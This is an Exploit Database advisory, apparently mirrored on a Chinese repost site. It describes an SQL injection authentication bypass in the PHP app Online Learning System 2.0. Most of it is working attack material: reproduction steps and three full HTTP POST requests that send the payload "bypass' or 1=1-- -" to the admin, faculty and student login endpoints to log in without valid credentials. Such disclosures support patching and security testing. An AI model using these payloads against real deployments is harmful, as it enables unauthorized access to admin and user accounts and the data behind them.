Online Learning System 2.0 – ‘Multiple’ SQLi Authentication Bypass

• Exploit Database
• 17 阅读

• 作者： Blackhan
  日期： 2021-10-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50410/

• # Exploit Title: Online Learning System 2.0 - 'Multiple' SQLi Authentication Bypass
  # Date: 11.10.2021
  # Exploit Author: Oguzhan Kara
  # Vendor Homepage: https://www.sourcecodester.com/php/14929/online-learning-system-v2-using-php-free-source-code.html
  # Software Link: https://www.sourcecodester.com/download-code?nid=14929&title=Online+Learning+System+V2+using+PHP+Free+Source+Code
  # Version: 2.0
  # Tested on: Kali Linux, Windows 10 - XAMPP
  # Online Learning System v2.0 Login pages can be bypassed with a simple SQLi to the username/facultyID/studentID parameters.
  
  Steps To Reproduce:
  1 - Go to one of the login portals
  2 - Enter the payload to username field as "bypass' or 1=1-- -" without double-quotes ("bypass" is can be anything in this scenario) and type anything you want to the password field.
  3 - Click on "Login" button and you are logged in as first user in database, which is admin user for admin portal.
  
  PoC
  
  ---Admin Portal---
  
  POST /elearning/classes/Login.php?f=login HTTP/1.1
  Host: localhost
  Content-Length: 45
  sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
  Accept: */*
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  sec-ch-ua-mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
  sec-ch-ua-platform: "Windows"
  Origin: http://localhost
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: http://localhost/elearning/admin/login.php
  Accept-Encoding: gzip, deflate
  Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
  Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
  Connection: close
  
  username=bypass'+or+1%3D1--+-&password=bypass
  
  ---Faculty Portal---
  
  POST /elearning/classes/Login.php?f=flogin HTTP/1.1
  Host: localhost
  Content-Length: 47
  sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
  Accept: */*
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  sec-ch-ua-mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
  sec-ch-ua-platform: "Windows"
  Origin: http://localhost
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: http://localhost/elearning/faculty/login.php
  Accept-Encoding: gzip, deflate
  Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
  Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
  Connection: close
  
  faculty_id=bypass'+or+1%3D1--+-&password=bypass
  
  ---Student Portal---
  
  POST /elearning/classes/Login.php?f=slogin HTTP/1.1
  Host: localhost
  Content-Length: 45
  sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
  Accept: */*
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  sec-ch-ua-mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
  sec-ch-ua-platform: "Windows"
  Origin: http://localhost
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: http://localhost/elearning/student/login.php
  Accept-Encoding: gzip, deflate
  Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
  Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
  Connection: close
  
  student_id=bypass'+or+1%3D1--+-&password=test